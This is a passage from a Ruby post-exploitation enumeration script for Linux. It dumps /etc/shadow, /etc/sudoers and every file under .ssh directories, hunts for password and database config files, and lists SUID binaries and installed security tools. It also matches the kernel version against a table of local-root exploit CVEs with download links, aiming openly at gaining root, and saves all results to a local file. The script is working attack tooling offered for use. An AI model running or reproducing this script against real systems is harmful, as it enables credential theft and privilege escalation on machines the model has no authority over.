#{uptime[0].strip}#{RS}" 128 | puts "#{HC}#{FGRN}Current Shell in Use#{FWHT}: #{shell[0].strip}#{RS}" 129 | puts "#{HC}#{FGRN}Logged In User#{FWHT}: #{user}#{RS}" 130 | puts "#{HC}#{FGRN}Whoami#{FWHT}: #{whoami[0].strip}#{RS}" 131 | puts "#{HC}#{FGRN}UID#{FWHT}: #{uid}#{RS}" 132 | puts "#{HC}#{FGRN}EUID#{FWHT}: #{euid}#{RS}" 133 | puts "#{HC}#{FGRN}User Home Directory#{FWHT}: #{home[0].strip}#{RS}" 134 | puts "#{HC}#{FGRN}Current Working Dir#{FWHT}: #{pwd[0].strip}#{RS}" 135 | puts "#{HC}#{FGRN}Kernel/Build#{FWHT}: #{uname[0].strip}#{RS}" 136 | puts 137 | 138 | f = File.new("inf0rm3d.txt", "a+") 139 | f.puts "Hostname: #{host[0].strip}" 140 | f.puts "System Uptime: #{uptime[0].strip}" 141 | f.puts "Current Shell in Use: #{shell[0].strip}" 142 | f.puts "Logged In User: #{user}" 143 | f.puts "Whoami: #{whoami[0].strip}" 144 | f.puts "UID: #{uid}" 145 | f.puts "EUID: #{euid}" 146 | f.puts "User Home Directory: #{home[0].strip}" 147 | f.puts "Current Working Dir: #{pwd[0].strip}" 148 | f.puts "Kernel/Build: #{uname[0].strip}" 149 | f.puts 150 | f.close 151 | end 152 | 153 | def closer 154 | puts "\n#{HC}#{FGRN}Bye Now#{FWHT}!#{RS}\n\n" 155 | f = File.new("inf0rm3d.txt", "a+") 156 | f.puts 157 | f.puts "Bye Now!" 158 | f.puts 159 | f.close 160 | end 161 | 162 | def cls #A quick method to clear the whole terminal 163 | system('clear') 164 | end 165 | 166 | def commandz(foo) 167 | bar = IO.popen("#{foo}") 168 | foobar = bar.readlines 169 | return foobar 170 | end 171 | 172 | def fileInfo 173 | mem = commandz('free --lohi --human') 174 | mountz = commandz('mount') 175 | sizez = commandz('df -h') 176 | 177 | f = File.new("inf0rm3d.txt", "a+") 178 | f.puts "FILESYSTEM INFO: " 179 | puts "#{HC}#{FGRN}FILESYSTEM INFO#{FWHT}: #{RS}" 180 | if not mountz.empty? 181 | f.puts "Mounts: " 182 | puts "#{HC}#{FGRN}Mounts#{FWHT}: " 183 | mountz.each do |entry| 184 | puts "#{entry.strip}" 185 | f.puts "#{entry.strip}" 186 | end 187 | puts "#{RS}" 188 | f.puts 189 | end 190 | if not sizez.empty? 191 | f.puts "Disk Space: " 192 | puts "#{HC}#{FGRN}Disk Space#{FWHT}: " 193 | sizez.each do |entry| 194 | puts "#{entry.strip}" 195 | f.puts "#{entry.strip}" 196 | end 197 | puts "#{RS}" 198 | f.puts 199 | end 200 | if not mem.empty? 201 | f.puts "Memory Space: " 202 | puts "#{HC}#{FGRN}Memory Space#{FWHT}: " 203 | mem.each do |entry| 204 | puts "#{entry.strip}" 205 | f.puts "#{entry.strip}" 206 | end 207 | puts "#{RS}" 208 | f.puts 209 | end 210 | f.close 211 | end 212 | 213 | def getAV 214 | tools = commandz('whereis avast bastille bulldog chkrootkit clamav firestarter iptables jailkit logrotate logwatch lynis pwgen rkhunter snort tiger truecrypt ufw webmin') 215 | 216 | if not tools.empty? 217 | f = File.new("inf0rm3d.txt", "a+") 218 | f.puts 219 | puts 220 | f.puts "Possible Security/AV Found: " 221 | puts "#{HC}#{FGRN}Possible Security/AV Found#{FWHT}: " 222 | tools.each do |entry| 223 | puts "#{entry.strip}" 224 | f.puts "#{entry.strip}" 225 | end 226 | puts "#{RS}" 227 | f.puts 228 | f.close 229 | end 230 | end 231 | 232 | def getKernelSploits 233 | known_sploits=Hash.new 234 | known_sploits = { 235 | "do_brk" => { "CVE" => "2003-0961", "versions" => ["2.4.0-2.4.22"], "exploits" => ["131"] }, 236 | "mremap missing do_munmap" => { "CVE" => "2004-0077", "versions" => ["2.2.0-2.2.25", "2.4.0-2.4.24", "2.6.0-2.6.2"], "exploits" => ["160"] }, 237 | "binfmt_elf Executable File Read" => { "CVE" => "2004-1073", "versions" => ["2.4.0-2.4.27", "2.6.0-2.6.8"], "exploits" => ["624"] }, 238 | "uselib()" => { "CVE" => "2004-1235", "versions" => ["2.4.0-2.4.29rc2", "2.6.0-2.6.10rc2"], "exploits" => ["895"] }, 239 | "bluez" => { "CVE" => "2005-1294", "versions" => ["2.6.0-2.6.11.5"], "exploits" => ["4756", "926"] }, 240 | "prctl()" => { "CVE" => "2006-2451", "versions" => ["2.6.13-2.6.17.4"], "exploits" => ["2031", "2006", "2011", "2005", "2004"] }, 241 | "proc" => { "CVE" => "2006-3626", "versions" => ["2.6.0-2.6.17.4"], "exploits" => ["2013"] }, 242 | "system call emulation" => { "CVE" => "2007-4573", "versions" => ["2.4.0-2.4.30", "2.6.0-2.6.22.7"], "exploits" => ["4460"] }, 243 | "vmsplice" => { "CVE" => "2008-0009", "versions" => ["2.6.17-2.6.24.1"], "exploits" => ["5092", "5093"] }, 244 | "ftruncate()/open()" => { "CVE" => "2008-4210", "versions" => ["2.6.0-2.6.22"], "exploits" => ["6851"] }, 245 | "eCryptfs (Paokara)" => { "CVE" => "2009-0269", "versions" => ["2.6.19-2.6.31.1"], "exploits" => ["spender"] }, 246 | "set_selection() UTF-8 Off By One" => { "CVE" => "2009-1046", "versions" => ["2.6.0-2.6.28.3"], "exploits" => ["9083"] }, 247 | "UDEV < 141" => { "CVE" => "2009-1185", "versions" => ["2.6.25-2.6.30"], "exploits" => ["8478", "8572"] }, 248 | "exit_notify()" => { "CVE" => "2009-1337", "versions" => ["2.6.0-2.6.29"], "exploits" => ["8369"] }, 249 | "ptrace_attach() Local Root Race Condition" => { "CVE" => "2009-1527", "versions" => ["2.6.29"], "exploits" => ["8678", "8673"] }, 250 | "sock_sendpage() (Wunderbar Emporium)" => { "CVE" => "2009-2692", "versions" => ["2.6.0-2.6.31rc3", "2.4.0-2.4.37.1"], "exploits" => ["9641", "9545", "9479", "9436", "9435", "spender"] }, 251 | "udp_sendmsg() (The Rebel)" => { "CVE" => "2009-2698", "versions" => ["2.6.0-2.6.9.2"], "exploits" => ["9575", "9574", "spender3"] }, 252 | "(32bit) ip_append_data() ring0" => { "CVE" => "2009-2698", "versions" => ["2.6.0-2.6.9"], "exploits" => ["9542"] }, 253 | "perf_counter_open() (Powerglove and Ingo m0wnar)" => { "CVE" => "2009-3234", "versions" => ["2.6.31"], "exploits" => ["spender"] }, 254 | "pipe.c (MooseCox)" => { "CVE" => "2009-3547", "versions" => ["2.6.0-2.6.32rc5", "2.4.0-2.4.37"], "exploits" => ["10018", "spender"] }, 255 | "CPL 0" => { "CVE" => "2010-0298", "versions" => ["2.6.0-2.6.11"], "exploits" => ["1397"] }, 256 | "ReiserFS xattr" => { "CVE" => "2010-1146", "versions" => ["2.6.0-2.6.34rc3"], "exploits" => ["12130"] }, 257 | "Unknown" => { "CVE" => 'nil', "versions" => ["2.6.18-2.6.20"], "exploits" => ["10613"] }, 258 | "SELinux/RHEL5 (Cheddar Bay)" => { "CVE" => 'nil', "versions" => ["2.6.9-2.6.30"], "exploits" => ["9208", "9191", "spender"] }, 259 | "compat" => { "CVE" => "2010-3301", "versions" => ["2.6.27-2.6.36rc4"], "exploits" => ["15023", "15024"] }, 260 | "BCM" => { "CVE" => "2010-2959", "versions" => ["2.6.0-2.6.36rc1"], "exploits" => ["14814"] }, 261 | "RDS protocol" => { "CVE" => "2010-3904", "versions" => ["2.6.0-2.6.36rc8"], "exploits" => ["15285"] }, 262 | "put_user() - full-nelson" => { "CVE" => "2010-4258", "versions" => ["2.6.0-2.6.37"], "exploits" => ["15704"] }, 263 | "sock_no_sendpage() - full-nelson" => { "CVE" => "2010-3849", "versions" => ["2.6.0-2.6.37"], "exploits" => ["15704"] }, 264 | "ACPI custom_method" => { "CVE" => "2010-4347", "versions" => ["2.6.0-2.6.37rc2"], "exploits" => ["15774"] }, 265 | "CAP_SYS_ADMIN" => { "CVE" => "2010-4347", "versions" => ["2.6.34-2.6.37"], "exploits" => ["15916", "15944"] }, 266 | "econet_sendmsg() - half-nelson" => { "CVE" => "2010-3848", "versions" => ["2.6.0-2.6.36.2"], "exploits" => ["17787"] }, 267 | "ec_dev_ioctl() - half-nelson" => { "CVE" => "2010-3850", "versions" => ["2.6.0-2.6.36.2"], "exploits" => ["17787", "15704"] }, 268 | "Mempodipper" => { "CVE" => "2012-0056", "versions" => ["2.6.39-3.1"], "exploits" => ["18411", "mempo"]}, 269 | "Archlinux x86-64 sock_diag_handlers[]" => { "CVE" => "2013-1763", "versions" => ["3.3-3.7"], "exploits" => ["24555"]}, 270 | "Fedora 18 x86-64 sock_diag_handlers[]" => { "CVE" => "2013-1763", "versions" => ["3.3-3.7"], "exploits" => ["ps1"]}, 271 | "Ubuntu 12.10 64-Bit sock_diag_handlers[]" => { "CVE" => "2013-1763", "versions" => ["3.3-3.7"], "exploits" => ["24746"]}, 272 | "ipc - half-nelson" => { "CVE" => "2010-4073", "versions" => ["2.6.0-2.6.37rc1"], "exploits" => ["17787"] } 273 | } 274 | k = commandz('uname -r')[0].chomp 275 | specialk = k.split('-')[0] #just a generic check so we dont care about the trailing aspects in this case, comes into play for manual review.... 276 | exploit_db = "http://www.exploit-db.com/exploits/" 277 | mempo = "http://git.zx2c4.com/CVE-2012-0056/snapshot/CVE-2012-0056-master.zip" 278 | spender = "http://www.securityfocus.com/data/vulnerabilities/exploits/36423.tgz" 279 | ps1 = "http://packetstormsecurity.com/files/download/120784/fedora-sockdiag.c" 280 | f = File.new("inf0rm3d.txt", "a+") 281 | f.puts "Possible Exploits: " 282 | puts "#{HC}#{FGRN}Possible Exploits#{FWHT}: #{RS}" 283 | known_sploits.each do |key, value| 284 | versions = value["versions"] 285 | vsize = versions.size 286 | count=0 287 | @found=0 288 | while count.to_i < vsize.to_i 289 | versions.each do |v| 290 | if v =~ /-/ 291 | vrange = v.split('-') 292 | min = vrange[0] 293 | max = vrange[1] 294 | else 295 | min = v 296 | max = v 297 | end 298 | if specialk.to_f >= min.to_f and specialk.to_f <= max.to_f 299 | foo = specialk.split('.') 300 | foo.shift 301 | kfoo = foo.join('.') 302 | 303 | foo = min.split('.') 304 | foo.shift 305 | minfoo = foo.join('.') 306 | 307 | foo = max.split('.') 308 | foo.shift 309 | maxfoo = foo.join('.') 310 | 311 | if kfoo.to_f >= minfoo.to_f and kfoo.to_f <= maxfoo.to_f 312 | @found = @found.to_i + 1 313 | cve = value["CVE"] 314 | exploit = value["exploits"] 315 | puts "#{HC}#{FGRN}Kernel#{FWHT}: #{k}#{RS}" 316 | puts "#{HC}#{FGRN}Possible Exploit#{FWHT}: #{key}#{RS}" 317 | puts "#{HC}#{FGRN}CVE#{FWHT}: #{cve}#{RS}" 318 | puts "#{HC}#{FGRN}Versions Affected#{FWHT}: #{versions.join(', ')}#{RS}" 319 | puts "#{HC}#{FGRN}Downloads Available for Possible Exploit#{FWHT}: " 320 | f.puts "Kernel: #{k}" 321 | f.puts "Possible Exploit: #{key}" 322 | f.puts "CVE: #{cve}" 323 | f.puts "Versions Affected: #{versions.join(', ')}" 324 | f.puts "Downloads Available for Possible Exploit: " 325 | exploit.each do |sploit| 326 | if sploit == "spender" 327 | puts "#{spender}" 328 | f.puts "#{spender}" 329 | elsif sploit == "mempo" 330 | puts "#{mempo}" 331 | f.puts "#{mempo}" 332 | elsif sploit == "ps1" 333 | puts "#{ps1}" 334 | f.puts "#{ps1}" 335 | else 336 | puts "#{exploit_db}#{sploit}" 337 | f.puts "#{exploit_db}#{sploit}" 338 | end 339 | end 340 | puts "#{RS}" 341 | f.puts 342 | end 343 | end 344 | count = count.to_i + 1 345 | end 346 | end 347 | end 348 | if @found.to_i == 0 349 | puts "#{HC}#{FWHT}Sorry, didn't find any matching exploits for kernel#{FGRN}....#{RS}" 350 | f.puts "Sorry, didn't find any matching exploits for kernel...." 351 | else 352 | puts "#{HC}#{FWHT}Hopefully you can use the above to help find your way to r00t#{FGRN}....#{RS}" 353 | f.puts "Hopefully you can use the above to help find your way to r00t...." 354 | end 355 | puts 356 | f.puts 357 | f.close 358 | end 359 | 360 | def getPassAndConfigs 361 | f = File.new("inf0rm3d.txt", "a+") 362 | puts "#{HC}#{FGRN}Checking for Password & Config Files#{FWHT}....#{RS}" 363 | f.puts "Password & Config Files:" 364 | puts "#{HC}#{FGRN}ALL config.php Files#{FWHT}:#{RS}" 365 | f.puts "ALL config.php Files:" 366 | Dir.glob('/**/config.php') do |gold| 367 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}" 368 | f.puts "#{gold.chomp}" 369 | print "" 370 | f.print 371 | end 372 | puts 373 | f.puts 374 | puts "#{HC}#{FGRN}ALL config.inc.php Files#{FWHT}:#{RS}" 375 | f.puts "ALL config.inc.php Files:" 376 | Dir.glob('/**/config.inc.php') do |gold| 377 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}" 378 | f.puts "#{gold.chomp}" 379 | print "" 380 | f.print 381 | end 382 | puts 383 | f.puts 384 | puts "#{HC}#{FGRN}ALL wp-config.php Files#{FWHT}:#{RS}" 385 | f.puts "ALL wp-config.php Files:" 386 | Dir.glob('/**/wp-config.php') do |gold| 387 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}" 388 | f.puts "#{gold.chomp}" 389 | print "" 390 | f.print 391 | end 392 | puts 393 | f.puts 394 | puts "#{HC}#{FGRN}ALL db.php Files#{FWHT}:#{RS}" 395 | f.puts "ALL db.php Files:" 396 | Dir.glob('/**/db.php') do |gold| 397 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}" 398 | f.puts "#{gold.chomp}" 399 | print "" 400 | f.print 401 | end 402 | puts 403 | f.puts 404 | puts "#{HC}#{FGRN}ALL db-conn.php Files#{FWHT}:#{RS}" 405 | f.puts "ALL db-conn.php Files:" 406 | Dir.glob('/**/db-conn.php') do |gold| 407 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}" 408 | f.puts "#{gold.chomp}" 409 | print "" 410 | f.print 411 | end 412 | puts 413 | f.puts 414 | puts "#{HC}#{FGRN}ALL sql.php Files#{FWHT}:#{RS}" 415 | f.puts "ALL sql.php Files:" 416 | Dir.glob('/**/sql.php') do |gold| 417 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}" 418 | f.puts "#{gold.chomp}" 419 | print "" 420 | f.print 421 | end 422 | puts 423 | f.puts 424 | puts "#{HC}#{FGRN}ALL security.php Files#{FWHT}:#{RS}" 425 | f.puts "ALL security.php Files:" 426 | Dir.glob('/**/security.php') do |gold| 427 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}" 428 | f.puts "#{gold.chomp}" 429 | print "" 430 | f.print 431 | end 432 | puts 433 | f.puts 434 | puts "#{HC}#{FGRN}ALL service.pwd Files#{FWHT}:#{RS}" 435 | f.puts "ALL service.pwd Files:" 436 | Dir.glob('/**/service.pwd') do |gold| 437 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}" 438 | f.puts "#{gold.chomp}" 439 | print "" 440 | f.print 441 | end 442 | puts 443 | f.puts 444 | puts "#{HC}#{FGRN}ALL .htpasswd Files#{FWHT}:#{RS}" 445 | f.puts "ALL .htpasswd Files:" 446 | Dir.glob('/**/.htpasswd') do |gold| 447 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}" 448 | f.puts "#{gold.chomp}" 449 | print "" 450 | f.print 451 | end 452 | puts 453 | f.puts 454 | puts "#{HC}#{FGRN}ALL .sql Database Files#{FWHT}:#{RS}" 455 | f.puts "ALL .sql Database Files:" 456 | Dir.glob('/**/*.sql') do |gold| 457 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}" 458 | f.puts "#{gold.chomp}" 459 | print "" 460 | f.print 461 | end 462 | puts 463 | f.puts 464 | puts "#{HC}#{FGRN}ALL .bash_history Files#{FWHT}:#{RS}" 465 | f.puts "ALL .bash_history Files:" 466 | Dir.glob('/**/.bash_history') do |gold| 467 | puts "#{HC}#{FWHT}#{gold.chomp}#{RS}" 468 | f.puts "#{gold.chomp}" 469 | print "" 470 | f.print 471 | end 472 | puts 473 | f.puts 474 | f.puts "ALL config.* Files:" 475 | Dir.glob('/**/config.*') do |gold| 476 | f.puts "#{gold.chomp}" 477 | print "" 478 | f.print 479 | end 480 | f.close 481 | end 482 | 483 | def getSSH 484 | f = File.new("inf0rm3d.txt", "a+") 485 | puts "#{HC}#{FGRN}SSH Goodness#{FWHT}: " 486 | f.puts "SSH Goodness: " 487 | Dir.glob('/**/.ssh/*') do |gold| 488 | puts "#{HC}#{FGRN}#{gold}#{FWHT}: " 489 | f.puts "#{gold}: " 490 | content = commandz("cat #{gold} 2> /dev/null") 491 | content.each do |line| 492 | puts "#{line.strip}" 493 | f.puts "#{line.strip}" 494 | end 495 | puts "#{RS}" 496 | f.puts 497 | end 498 | f.close 499 | end 500 | 501 | def interestingStuff 502 | f = File.new("inf0rm3d.txt", "a+") 503 | f.puts "INTERESTING INFO: " 504 | puts "#{HC}#{FGRN}INTERESTING INFO#{FWHT}: #{RS}" 505 | 506 | writable = commandz('find / -type d -perm -2 -ls 2> /dev/null') 507 | if not writable.empty? 508 | puts "#{HC}#{FGRN}World Writable Directories#{FWHT}: " 509 | f.puts "World Writable Directories: " 510 | writable.each do |entry| 511 | puts "#{entry.strip}" 512 | f.puts "#{entry.strip}" 513 | end 514 | puts "#{RS}" 515 | f.puts 516 | sleep 2 517 | end 518 | 519 | suid = commandz('find / -type f -perm -04000 -ls 2> /dev/null') 520 | if not suid.empty? 521 | puts "#{HC}#{FGRN}SUID Files#{FWHT}: " 522 | f.puts "SUID Files: " 523 | suid.each do |entry| 524 | puts "#{entry.strip}" 525 | f.puts "#{entry.strip}" 526 | end 527 | puts "#{RS}" 528 | f.puts 529 | sleep 2 530 | end 531 | 532 | guid = commandz('find / -type f -perm -02000 -ls 2> /dev/null') 533 | if not guid.empty? 534 | puts "#{HC}#{FGRN}GUID Files#{FWHT}: " 535 | f.puts "GUID Files: " 536 | guid.each do |entry| 537 | puts "#{entry.strip}" 538 | f.puts "#{entry.strip}" 539 | end 540 | puts "#{RS}" 541 | f.puts 542 | end 543 | f.close 544 | 545 | getSSH 546 | getPassAndConfigs 547 | 548 | sudos = commandz('cat /etc/sudoers') 549 | if not sudos.empty? 550 | puts "#{HC}#{FGRN}/etc/sudoers Content#{FWHT}: " 551 | f = File.new("inf0rm3d.txt", "a+") 552 | f.puts 553 | f.puts "/etc/sudoers Content: " 554 | sudos.each do |line| 555 | puts "#{line.strip}" 556 | f.puts "#{line.strip}" 557 | end 558 | f.puts 559 | f.close 560 | sleep 2 561 | end 562 | end 563 | 564 | def miscInfo 565 | logz = commandz('ls -lRa /var/log') 566 | etcls = commandz('ls -lRa /etc') 567 | tmp = commandz('ls -lRa /tmp') 568 | lgmsgz = commandz('cat /var/log/messages') 569 | last = commandz('last -50') 570 | 571 | f = File.new("inf0rm3d.txt", "a+") 572 | f.puts "MISC INFO: " 573 | f.puts "Cron Jobs: " 574 | Dir.glob('/etc/cron*') do |gold| 575 | f.puts "#{gold}: " 576 | f.puts 577 | end 578 | if not logz.empty? 579 | f.puts "/var/log content: " 580 | logz.each do |entry| 581 | f.puts "#{entry.strip}" 582 | end 583 | f.puts 584 | end 585 | if not etcls.empty? 586 | f.puts "/etc content: " 587 | etcls.each do |entry| 588 | f.puts "#{entry.strip}" 589 | end 590 | f.puts 591 | end 592 | if not tmp.empty? 593 | f.puts "/tmp content: " 594 | tmp.each do |entry| 595 | f.puts "#{entry.strip}" 596 | end 597 | f.puts 598 | end 599 | if not lgmsgz.empty? 600 | f.puts "/var/log/messages content: " 601 | lgmsgz.each do |entry| 602 | f.puts "#{entry.strip}" 603 | end 604 | f.puts 605 | end 606 | if not last.empty? 607 | f.puts "Last 50 logins: " 608 | last.each do |entry| 609 | f.puts "#{entry.strip}" 610 | end 611 | f.puts 612 | end 613 | f.close 614 | end 615 | 616 | def networkInfo 617 | interfaces = `/sbin/ifconfig -a 2> /dev/null` 618 | hosts = commandz('cat /etc/hosts') 619 | resolvers = commandz('cat /etc/resolv.conf 2> /dev/null') 620 | route = commandz('route 2> /dev/null') 621 | ports = commandz('netstat -lpn 2> /dev/null') 622 | listening = commandz('netstat -n --listen 2> /dev/null') 623 | procs = commandz('ps axuw') 624 | 625 | puts "#{HC}#{FGRN}Known Interfaces#{FWHT}:#{RS}" 626 | system('/sbin/ifconfig -a 2> /dev/null') 627 | f = File.new("inf0rm3d.txt", "a+") 628 | f.puts "NETWORK INFO: " 629 | f.puts "Known Interfaces:" 630 | f.puts interfaces 631 | f.puts 632 | if not resolvers.empty? 633 | puts "#{HC}#{FGRN}resolv.conf Content#{FWHT}:" 634 | f.puts "resolv.conf Content:" 635 | resolvers.each do |entry| 636 | puts "#{entry.strip}" 637 | f.puts "#{entry.strip}" 638 | end 639 | puts "#{RS}" 640 | f.puts 641 | end 642 | if not hosts.empty? 643 | f.puts "/etc/hosts Content:" 644 | hosts.each do |entry| 645 | f.puts "#{entry.strip}" 646 | end 647 | f.puts 648 | end 649 | if not route.empty? 650 | f.puts "Routing Table:" 651 | route.each do |entry| 652 | f.puts "#{entry.strip}" 653 | end 654 | f.puts 655 | end 656 | if not ports.empty? 657 | puts "#{HC}#{FGRN}Netstat - Open Ports and Services#{FWHT}:" 658 | f.puts "Netstat - Open Ports and Services:" 659 | ports.each do |entry| 660 | puts "#{entry.strip}" 661 | f.puts "#{entry.strip}" 662 | end 663 | puts "#{RS}" 664 | f.puts 665 | sleep 1 666 | end 667 | if not listening.empty? 668 | f.puts "Listening Ports:" 669 | listening.each do |entry| 670 | f.puts "#{entry.strip}" 671 | end 672 | f.puts 673 | end 674 | if not procs.empty? 675 | f.puts "Process listing:" 676 | procs.each do |entry| 677 | f.puts "#{entry.strip}" 678 | end 679 | f.puts 680 | end 681 | f.close 682 | end 683 | 684 | def toolz 685 | tools = commandz('which curl gcc java lynx nc ncat netcat nmap ftp perl php proxychains python ruby tcpdump wget wireshark') 686 | gcc = commandz('gcc --version') 687 | mysql = commandz('mysql --version') 688 | perl = commandz('perl -v') 689 | php = commandz('php --version') 690 | ruby = commandz('ruby -v ') 691 | java = commandz('foo=$(java -version 2>&1); echo $foo;') 692 | python = commandz('foo=$(python -V 2>&1); echo $foo;') 693 | 694 | f = File.new("inf0rm3d.txt", "a+") 695 | f.puts 696 | puts 697 | f.puts "LOCAL TOOLS: " 698 | puts "#{HC}#{FGRN}LOCAL TOOLS#{FWHT}: " 699 | if not tools.empty? 700 | tools.each do |entry| 701 | puts "#{entry.strip}" 702 | f.puts "#{entry.strip}" 703 | end 704 | end 705 | puts "#{RS}" 706 | f.puts 707 | puts "#{HC}#{FGRN}Version Info#{FWHT}: " 708 | f.puts "Version Info: " 709 | if not gcc.empty? 710 | gcc.each do |entry| 711 | puts "#{entry.strip}" 712 | f.puts "#{entry.strip}" 713 | end 714 | end 715 | if not mysql.empty? 716 | mysql.each do |entry| 717 | puts "#{entry.strip}" 718 | f.puts "#{entry.strip}" 719 | end 720 | end 721 | if not perl.empty? 722 | perl.each do |entry| 723 | puts "#{entry.strip}" 724 | f.puts "#{entry.strip}" 725 | end 726 | end 727 | if not python.empty? 728 | python.each do |entry| 729 | puts "#{entry.strip}" 730 | f.puts "#{entry.strip}" 731 | end 732 | end 733 | puts 734 | f.puts 735 | if not java.empty? 736 | java.each do |entry| 737 | puts "#{entry.strip}" 738 | f.puts "#{entry.strip}" 739 | end 740 | end 741 | puts 742 | f.puts 743 | if not php.empty? 744 | php.each do |entry| 745 | puts "#{entry.strip}" 746 | f.puts "#{entry.strip}" 747 | end 748 | end 749 | puts 750 | f.puts 751 | if not ruby.empty? 752 | ruby.each do |entry| 753 | puts "#{entry.strip}" 754 | f.puts "#{entry.strip}" 755 | end 756 | end 757 | puts "#{RS}" 758 | f.puts 759 | f.close 760 | end 761 | 762 | def userInfo 763 | userCount = commandz('cat /etc/passwd | /usr/bin/wc -l') 764 | shadow = commandz('cat /etc/shadow 2> /dev/null') 765 | users = commandz('cat /etc/passwd') 766 | group = commandz('cat /etc/group') 767 | 768 | puts "#{HC}#{FGRN}USER INFO#{FWHT}: #{RS}" 769 | puts "#{HC}#{FGRN}Number of user accounts#{FWHT}: #{userCount[0].strip}#{RS}" 770 | 771 | f = File.new("inf0rm3d.txt", "a+") 772 | f.puts "USER INFO: " 773 | f.puts "Number of user accounts: #{userCount[0].strip}" 774 | if not shadow.empty? 775 | puts "#{HC}#{FGRN}/etc/shadow Content#{FWHT}:" 776 | f.puts "/etc/shadow Content:" 777 | shadow.each do |entry| 778 | puts "#{entry.strip}" 779 | f.puts "#{entry.strip}" 780 | end 781 | puts "#{RS}" 782 | f.puts 783 | sleep 2 784 | end 785 | if not users.empty? 786 | puts "#{HC}#{FGRN}/etc/passwd Content#{FWHT}:" 787 | f.puts "/etc/passwd Content:" 788 | users.each do |entry| 789 | puts "#{entry.strip}" 790 | f.puts "#{entry.strip}" 791 | end 792 | puts "#{RS}" 793 | f.puts 794 | sleep 2 795 | end 796 | if not group.empty? 797 | f.puts "/etc/group Content:" 798 | puts "#{HC}#{FGRN}/etc/group Content#{FWHT}:" 799 | group.each do |entry| 800 | puts "#{entry.strip}" 801 | f.puts "#{entry.strip}" 802 | end 803 | puts "#{RS}" 804 | f.puts 805 | sleep 2 806 | end 807 | f.close 808 | end 809 | 810 | all_sys_enum 811 | #EOF 812 | --------------------------------------------------------------------------------